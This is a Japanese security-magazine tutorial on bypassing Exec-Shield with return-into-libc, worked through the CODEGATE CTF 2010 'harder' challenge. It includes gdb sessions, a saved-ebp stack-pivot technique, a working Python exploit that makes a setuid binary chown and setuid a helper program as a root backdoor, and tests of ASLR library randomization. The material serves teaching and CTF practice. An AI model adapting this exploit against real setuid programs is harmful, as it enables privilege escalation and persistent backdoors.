第 4 回 Exec-ShieldとReturn-into-libc攻撃

第
4 回 Exec-ShieldとReturn-into-libc 攻撃
文●愛甲健二
Return-into-libcの概要
Exec-Shield の登場により、これまで研究さ
れてきた多くの shellcode は動かなくなりまし
た。メモリのアクセス権を管理するというこの
仕組みは、セキュリティ的な観点から本当に有
用なもので、以後多くの環境で実装され、そし
て当たり前のように使われ始めました。
Windows に お い て も XP SP2 以 降、DEP
( Data Execute Prevention:データ実行防止)
という名称で実装されています。
この Exec-Shield の攻略法として特に有効な
のが Return-into-libc 攻撃です。任意のコード
( shellcode )を実行できなくとも、 最終的に
任意 のプログラムを実行できれば権限を奪え
るという観点から、うまく引数を設定し、スタッ
ク( esp )を調整してプロセスにロードされて
いるライブラリが 持 つ 関数 へジャンプさせれ
ば /bin/sh といったプログラムを実行可能であ
る、というのが Return-into-libc の基本的な考
え方です。
端末で ldd コマンドを使うとプログラムが実
行時にロードするライブラリを確認できます。
$
ldd /bin/sh
linux-gate.so.1 => (0xb7fff000)
libc.so.6 => /lib/tls/i686/cmov/
libc.so.6 (0xb7e9e000)
/lib/ld-linux.so.2 (0x00110000)
libc.so は、ほとんどのプログラムで実行時に
ロードされるか、あるいはコンパイル時に静的リ
ンクされているため、libc の 中にある system
関 数 や exec 系 関 数 をうまいこと呼 び 出 せ れ
ば、shellcode を一切使わずに権限を奪えます。
libc を利用して任意のコードを実行する、これ
が Linux における Return-into-libc 攻撃です。
関数アドレスの調査
system 関数でも exec 系関数でもどちらでも
1
よいのですが、今回は system 関数をターゲッ
トにしましょう。まずは system 関数が実行され
る直前のスタックを確認するために、以下のプ
ログラムを用意します。
・test.c
#include <stdlib.h>
int main(void)
{
system("/bin/sh");
return 0;
}
test.c をコンパイルし、gdb を使って system
関数のアドレスと実行直前のスタックを確認し
ます。 なお、ASLR を有効にしているとライブ
ラリがロードされるアドレス(関数アドレス)が
ランダマイズされますので、今回は無効にして
ください。
$
$
gcc -Wall test.c -o test
gdb test
GNU gdb (GDB) 7.1-ubuntu
(gdb) b main
Breakpoint 1 at 0x80483e7
(gdb) r
Breakpoint 1, 0x080483e7 in main()
(gdb) p system
$1={<text variable, no debug
info>}
0x167100 <system>
(gdb) b system
Breakpoint 2 at 0x167100
(gdb) c
Continuing.
Breakpoint 2, 0x00167100 in
system()
from /lib/tls/i686/cmov/libc.so.6
(gdb) x/32x $esp
0xbffff7ac: 0x080483f9 0x080484c0
0x0011e030 0x0804841b
(1)
(2)
(gdb) x/1s 0x080484c0
0x80484c0: "/bin/sh"
環境によって変わるのですが、 私 の 環境で
は system 関数 はアドレス 0x167100 に存在し
ました( 1 )
。またこのアドレスに到達した時点
でのスタックは、戻り先アドレス 0x080483f9、
system 関 数 へ の 引 数 0x080484c0 の 順 番 に
なっています( 2 )
。
つ まり、esp が 指 す 先 が 戻 り 先 アドレ ス、
system 関数への引数、という順番になった状
態で system 関数 のアドレス 0x167100 へ 処理
をジャンプできれば、引数へ渡したプログラム
が実行できます。では、どうやってスタック
(esp )
を調整しましょうか ? それには ebp と leave 命
令の性質を利用します。
スタックの調整
スタックバッファオーバーフローが起こり戻
り先 アドレスを書き換 えられるということは、
その前(アドレス低位)に存在する ebp の値も
上書きできることを意味します。
そもそもこのスタック内の ebp は、関数の実
行 が 終わり呼び出し元に戻った時に ebp レジ
スタに格納される値で、 呼び出し元に戻るま
でスタックに保存されているものです(図 1 )
。
このスタック内の ebp を利用して esp を調整し、
任意の引数を設定した状態で任意の関数へジャ
ンプできます。
図 2 を見 てください。 仮に現在 の 関数内 で
スタックオーバーフローが起こり 0xbffff650 ∼
0xbffff65c までが上書き可能だとします。まず
STACK
STACK
esp= 0xbffff650 0xaaaaaaaa
0xbffff654 0xbbbbbbbb
ebp= 0xbffff658
0xbffff65c
0xbffff660
スタック内の ebp は呼
び出し元関数が使用し
ている ebp
ebp
戻り先
leave、ret によって、
esp と ebp は呼び出
し以前の値に戻る
引数
mov esp. ebp
pop ebp
=( leave )
STACK
STACK
0xbffff650 0xaaaaaaaa
0xbffff654 0xbbbbbbbb
0xbffff658
esp= 0xbffff65c
0xbffff660
ebp
戻り先
引数
ebp= 0xbffff6xx 0xXXXXXXXX
は 0xbffff65c の 戻り先を leave、ret が 存在 す
る場所に書き換えます。 これで leave、ret が
実行された後、もう一度 leave、ret にジャンプ
します。 もし 0xbffff658 の 値を 0xbffff650 に
上書きしていれば、1 度目の leave で ebp レジ
スタは 0xbffff650 になり、そのまま ret で 2 度
目の leave へ進みます。leave 命令は mov esp,
ebp、pop ebp を意味するので、まずは esp が
ebp と同じ 0xbffff650 になり、続いて pop ebp
により ebp が 0xaaaaaaaa、esp が 4 加算され
て 0xbffff654 となります。そして続く ret 命令
により eip は 0xbbbbbbbb、esp はさらに 4 加
算されて 0xbffff658 ですね。
ここで興味深いのは、いちばん最初にスタッ
ク内の ebp の値を 0xbffff650 で上書きした場
合、leave、ret を 2 度実行することで ebp はア
ドレス 0xbffff650 にある値 0xaaaaaaaa、eip は
アドレス 0xbffff650+4 にある値 0xbbbbbbbb、
そして esp は 0xbffff650+8 になっていることで
す。図 2 では元々の esp と ebp の差が 8 バイト
しかありませんが、これが 16 バイト、32 バイト、
256 バイトあったらどうでしょう ? そこには自
由に関数へ 渡すべき引数やその関数へのアド
レスを格納できます。
system 関数のアドレスは 0x167100 でした。
そして system 関数を呼び出す際、0x167100
へ 処理が来た時 の esp が指す先は戻り先アド
レス、関数への 引数、の 順番でした。つまり、
最終的 な eip の 値を 0x167100 にして、 かつ、
そのときの esp が指す先に戻り先アドレス、関
数への引数、の順番で値が存在すれば system
関数は正常に実行されます。
また、この ebp を用いた esp の調整は、仮に
戻り先アドレスが上書きできなかった場合にも
0xbffff654 0xbbbbbbbb
0xbffff658
ebp
0xbffff65c
戻り先
esp= 0xbffff660
ebp= 0xbffff658 0xbffff650
0xbffff65c 戻り先
0xbffff660 引数
スタック内の ebp を
0xffff650 にしたら ?
もう一度 leave、ret
が実行されたら ?
leave
ret
STACK
0xbffff650 0xaaaaaaaa
ret
esp= 0xbffff650 0xaaaaaaaa
0xbffff654 0xbbbbbbbb
引数
ebp= 0xbffff6xx 0xXXXXXXXX
図 1 通常のleave、ret 処理に対するesp、ebpとスタックの状態
STACK
esp= 0xbffff650 0xaaaaaaaa
0xbffff654 0xbbbbbbbb
0xbffff658
0xbffff65c
0xbffff660
ebp
戻り先
引数
ebp= 0xbffff6xx 0xXXXXXXXX
leave
ret
0xbffff650 0xaaaaaaaa
0xbffff654 0xbbbbbbbb
ebp
esp= 0xbffff658
0xbffff65c
戻り先
0xbffff660
esp= 0xaaaaaaaa
ebp= 0xbbbbbbbb
引数
図 2 ebpを不正に操作した際のesp、ebpとスタックの状態
2
有効です。leave、ret が 2 度実行されればどん
な形でもよいため、例えば関数 X から関数 Y が
呼び出されており、その関数 Y の中でオーバー
フローが起こっているとします。その場合、ま
ずは 関数 Y から関数 X へ 戻る時 の leave、ret
で ebp レジスタを書き換え、 関数 X からさら
に呼び出し元(例えば main など)に戻る時の
leave、ret で任意のアドレスへジャンプできま
す。ebp の書き換えは、2 度の leave、ret によっ
て任意のアドレスへジャンプできると覚えてお
いてください。もちろん戻り先アドレスが上書
きできれば、そのままジャンプさせれば OK です。
高レベル問題に挑戦
では、CODEGATE CTF 2010 予選の Exploit
系 で 800 点 と い う 高 配 点 が な さ れ た 問 題
harder に挑戦しましょう。 競技時 は ASLR と
Exec-Shield が有効の状態での出題でしたが、
今回は Return-into-libc の練習ですので、最初
は ASLR を無効にして解きましょう。 本記事を
読み終えた後で、改めて ASLR を有効にして挑
戦してみてください。
$
$
python -c 'print "¥x90"*272' > EXP
./harder < EXP
Input: Segmentation fault (core
dumped)
$ gdb -c core
GNU gdb (GDB) 7.1-ubuntu
Program terminated with signal 11,
Segmentation fault.
#0 0x0804850a in ?? ()
(gdb) x/4x $esp-272
0xbffff6ac: 0xbffff6fc 0x90909090
0x90909090 0x90909090
(gdb) x/2x $esp
0xbffff7bc: 0x90909090 0x0804000a
harder に標準入力 から 272 バイトのデータ
を渡 すと Segmentation fault が 発生します。
とりあえず ASLR は無効になっていますので、
スタックアドレスを決め打ちで入力します。
ユ ー ザ ー か ら の 入 力 は 0x b f f f f6b0 ∼
0xbffff7bc に格納され、最後の 0xbffff7bc が戻
り先アドレスなので、まずはこれを leave、ret
のアドレス 0x08048509 に上書きします。続い
て入力 の先頭が 0xbffff6b0 なので、これから
-4した値をスタック内の ebp に入れます。これ
で、2 度目 の leave、ret が 実行された際、eip
3
はアドレス 0xbffff6b0 にある値になるため、そ
こに system 関数アドレスを書いておきます。
・exploit1.py
#!/usr/bin/python
import sys
from struct import *
#0xbffff6b0
v = "¥x00¥x71¥x16¥x00"#system
v += "¥x00¥xd2¥x15¥x00"#exit
v += "¥xbc¥xf6¥xff¥xbf"
v += "chown root test;"
v += "chmod 4755 test¥x00"
v += "¥x90" * ((272-8)-len(v))
v += "¥xac¥xf6¥xff¥xbf"#ebp
v += "¥x09¥x85¥x04¥x08"#ret
sys.stdout.write(v)
system 関数へ飛んだ時の esp は、スタック
内の ebp の値 +8 であるため 0xbffff6b4 になり
ます。system 関数実行直前 のスタックは戻り
先、関数の引数、の順番なので、戻り先を exit
関数、引数を「 chown root test;chmod 4755
test 」という文字列 のアドレスにします。本当
は引数を「 /bin/sh 」にしたいのですが、最近の
シェルはセキュリティ対策が施されており、異
常な経緯での実行に対しては動作しないため、
Exploit を少し手 の 込 んだ形に変更しました。
test は本記事の最初で紹介したプログラムです。
権限を奪取した後にこのプログラムを setuid
してもらい、バックドア的なプログラムに変更
します。
また、特に必要ないのですが、一応 system
関数 の 実行が終了した後に正常にプログラム
が終了するように exit 関数へ飛ばします。
$
sudo su
[sudo] password for kenji:
# echo 0 > /proc/sys/kernel/
randomize_va_space
# chown root harder
# chgrp root harder
# chmod 4755 harder
# exit
$ ls -l test
-rwxr-xr-x 1 kenji kenji 7140
test
$ python exploit1.py > EXP
$ ./harder < EXP
Input: $
$
ls -l test
-rwsr-xr-x 1 root kenji
test
$ ./test
# whoami
root
# exit
7140
以上で harder 攻略完了です。exploit1.py で
使っているアドレスは私の環境のものなので、
関数アドレスとスタックアドレスは自分の環境
に合わせて各自変更してください。
またこの問題は、戻り先アドレス以降も上書
きが可能ですから、戻り先を system 関数にし
て、それ以降( 0xbffff7c0 以降)に exit 関数ア
ドレスや system 関数に渡 す 引数をセットして
も構いません。呼び出し元へ 戻った時点での
esp は 0xbffff7c0 にあるためです。ただ、今回
は「 ebp 上書きによる任意のアドレスへのジャ
ンプ」を解説したかったので、 上記 のような
Exploit としました。
ASLRとExec-Shield
Exec-Shield は shellcode に対してはかなり
有用な機能ですが、Return-into-libc によるラ
イブラリ関数へのジャンプによって回避できま
した。では、Return-into-libc の弱点とは何で
しょうか ? それは system や exec 系 の 関数ア
ドレスをあらかじめ知っておかなければならな
い点です。
となると、libc が毎回異なる(ランダマイズ
された)アドレスへロードされれば、Returninto-libc の成功率は格段に落ちます。そして、
この点は前回説明した ASLR により対処できま
す。つまり、ASLR と Exec-Shield が手を組めば
それぞれが弱点を補い合い、より有用なセキュ
リティ機能となる、と普通なら思 います、 が、
残念ながら現実はそうではありません。
誌面 の 都合 でここには載 せられませ んでし
たが、DVD-ROM に c_aslr.c と check_aslr.py と
いう 2 つのプログラムを収録しています。これ
らは、プロセスを 1000 回順番に起動し、各実行
ごとに関数アドレスを取得、最も出現頻度の高
いアドレスを出現回数と一緒に表示するプログ
ラムです。
これらを使い、ASLR によるライブラリロード
先のランダマイズ性能を確かめます。1000 回
実行するわけですから、最大出現数が 10 なら
ばアドレスを決め打ちした際の Exploit の成功
率は約 1/100、2 ならば約 1/500 と、 表示され
た値が低いほど成功率も下がると言えます。
ではさっそく試してみましょう。 対象とする
関数は何でも良いのですが、以下の実行結果
は system 関数で試しています。
私の環境( Ubuntu 10.10 )では、上記の結果
# echo 2 > /proc/sys/kernel/
randomize_va_space
# exit
$ gcc c_aslr.c -o c_aslr -ldl
$ python check_aslr.py
0x149100:186
になりました。1000 回実行した結果、system
関数が 0x149100 のアドレスに存在した回数が
186 回、つまり約 18 ∼ 19% の 確率でこのアド
レスにロードされたわけです。ASLR の 安全性
は、そのランダマイズ性能によって担保されて
いるため、この確率だと 10 回に約 2 回の成功率、
5 回 Exploit を実行すれば 1 回は成功する計算
になります。これでは Return-into-libc 攻撃に
対応できません。
ASLR と Exec-Shield は、理論上は両方実装
することでよりセキュアな環境を構築できると
考えられていますが、現実問題としてまだライ
ブラリロード先の十分なランダマイズには至っ
ていません。
ただ、前回 の 記事を読 んでいただければわ
かりますが、スタックに関してはすでに問題な
いレベルでランダマイズされており、ASLR そ
れ自体 が 無意味だと言っているわけでは決し
てありません。今回は、あくまでもライブラリ
のランダマイズ性能に関しての話です。
本当のharderの攻略
ASLR のランダマイズ 性能 がわかったので、
今度は ASLR と Exec-Shield が両方有効の状態
での harder を攻略してみましょう。これまで学
んだ知識を使い、改めて本当の harder 問題を
解いてみてください。
さて、これで第 4 回も終わりとなりますがい
かがだったでしょうか。これまで ASLR、ExecShield、そして Return-into-libc と学んできま
したが、次回はいよいよ第 5 回、ROP:Return
oriented programming の解説へ進みたいと
思います。連載も終盤になってきましたが、最
後まで楽しんでいただけたら幸いです。では、
またお会いしましょう。
4